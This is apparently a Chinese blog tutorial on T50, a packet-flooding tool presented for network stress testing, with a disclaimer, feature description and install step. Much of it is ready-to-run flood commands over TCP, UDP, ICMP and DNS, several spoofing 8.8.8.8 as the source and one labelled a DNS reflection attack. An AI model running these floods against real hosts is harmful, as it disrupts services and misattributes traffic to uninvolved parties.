本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

DDoS压力测试工具 t50

官方介绍

T50(fka F22 Raptor)是一种旨在执行“压力测试”的工具。这个概念始于 2001 年,就​​在发布“nb-isakmp.c”之后,主要目标是:有一个工具来执行 TCP/IP 协议模糊器,涵盖常见的常规协议,例如:ICMP、TCP 和 UDP。

事情发生了变化,T50 成为能够执行“压力测试”的良好独特资源。并且,在检查“/usr/include/linux”之后,一些协议被选为其覆盖范围的一部分:

  • ICMP - 互联网控制消息协议
  • IGMP - 互联网组管理协议
  • TCP - 传输控制协议
  • UDP - 用户数据报协议

为什么要“压力测试”?好吧,因为当人们设计新的网络基础设施(例如服务于云计算的数据中心)时,他们会考虑:

  • 高可用性
  • 负载均衡
  • 备份站点(冷站点、热站点和暖站点)
  • 灾难恢复
  • 数据冗余
  • 服务等级协定
  • ETC...

但几乎没有人考虑“压力测试”,甚至没有人执行任何测试来检查网络基础设施在压力、过载和攻击下的行为。即使在渗透测试期间,人们也不喜欢运行任何类型的拒绝服务测试。更糟糕的是,这些人忽略了风险管理中常见的三个关键安全概念之一:

  • 保密
  • 完整性
  • 可用性

T50 旨在使用广泛实施的协议在各种基础设施网络设备(版本 2.45)上执行“压力测试”,并且在一些请求之后被重新设计以扩展测试(从版本 5.3 开始),涵盖一些常规协议(ICMP、TCP 和 UDP)、一些基础结构特定协议(GRE、IPSec 和 RSVP)和一些路由协议(RIP、EIGRP 和 OSPF)。
T50 是一款功能强大且独特的数据包注入器工具,它能够:

1.按顺序发送以下十五 (15) 个协议:

  • ICMP - 互联网控制消息协议
  • IGMPv1 - Internet 组管理协议 v1
  • IGMPv3 - Internet 组管理协议 v3
  • TCP - 传输控制协议
  • EGP - 外部网关协议
  • UDP - 用户数据报协议
  • RIPv1 - 路由信息协议 v1
  • RIPv2 - 路由信息协议 v2
  • DCCP - 数据报拥塞控制协议
  • RSVP - 资源预留协议
  • GRE - 通用路由封装
  • IPSec - 互联网协议安全 (AH/ESP)
  • EIGRP - 增强型内部网关路由协议
  • OSPF - 开放最短路径优先

2.它是唯一能够在通用路由封装 (GRE) 中封装协议(上面列出的)的工具。

3.每秒发送(相当)数量惊人的数据包,使其成为“首屈一指”的工具:

  • 1000BASE-T 网络(千兆以太网)中超过 1,000,000 pps 的 SYN 泛洪(+50% 的网络上行链路)。
  • 100BASE-TX 网络(快速以太网)中超过 120,000 pps 的 SYN Flood(+60% 的网络上行链路)。
  • 对各种网络基础设施、网络设备和安全解决方案进行“压力测试”。
  • 模拟“分布式拒绝服务”和“拒绝服务”攻击,验证防火墙规则、路由器 ACL、入侵检测系统和入侵防御系统策略。

下载&安装方式

原本官方的地址已经在Github永久删除了。

现在有两个地址可以下载。

还有更方便的安装方式。

$ apt install -y t50

使用方法

常用参数如下。

--threshold:并发线程数,默认1000
--flood:最大功率攻击,与threshold冲突
--protocol:设置攻击模型
--protocol T50:这是一个模拟协议,使用所有支持的协议进行dos
--turbo:使用子线程是的攻击流程更快,但是会占用更多本地资源
--sport/--dport:自定义原始端口以及目标端口,默认随机生成
-s/--saddr:模拟发送方的ip,默认随机生成

针对tcp发动洪水工具,随机发送方

$ t50 --flood --protocol TCP 192.168.1.1

模拟成8.8.8.8 发送tcp攻击

$ t50 --flood --protocol TCP --saddr 8.8.8.8 192.168.1.1

攻击ICMP链路

$ t50 --flood --protocol ICMP 192.168.1.1

发送udp攻击

$ t50 --flood --protocol UDP 192.168.1.1

攻击dns服务器

$ t50 --flood --protocol UDP --dport 53 192.168.1.1

使用sync配合tcp攻击

$ t50 --flood --protocol TCP --syn --saddr 8.8.8.8 192.168.1.1

随机源IP,随机TCP flag攻击

$ t50 --flood --protocol TCP 192.168.1.1

固定源IP,随机TCP flag攻击

$ t50 --flood --protocol TCP --saddr 8.8.8.8 192.168.1.1

固定源IP,固定TCP flag攻击

$ t50 --flood --protocol TCP --fin --saddr 8.8.8.8 192.168.1.1
$ t50 --flood --protocol TCP --syn --saddr 8.8.8.8 192.168.1.1
$ t50 --flood --protocol TCP --rst --saddr 8.8.8.8 192.168.1.1
$ t50 --flood --protocol TCP --psh --saddr 8.8.8.8 192.168.1.1
$ t50 --flood --protocol TCP --ack --saddr 8.8.8.8 192.168.1.1

随机源IP,UDP攻击

$ t50 --flood --protocol UDP 192.168.1.1

固定源IP,DNS攻击

$ t50 --flood --protocol UDP --dport 53 192.168.1.1

随机源IP,DNS反射攻击

$ t50 --flood --protocol UDP --sport 53 192.168.1.1

随机源IP,ICMP攻击

$ t50 --flood --protocol ICMP 192.168.1.1

固定源IP,ICMP攻击

$ t50 --flood --protocol ICMP --saddr 8.8.8.8 192.168.1.1

如果攻击被拦截或者协议出现问题会出现报错

t50: Cannot send packet (Permission!?).  Please check your firewall rules (iptables?).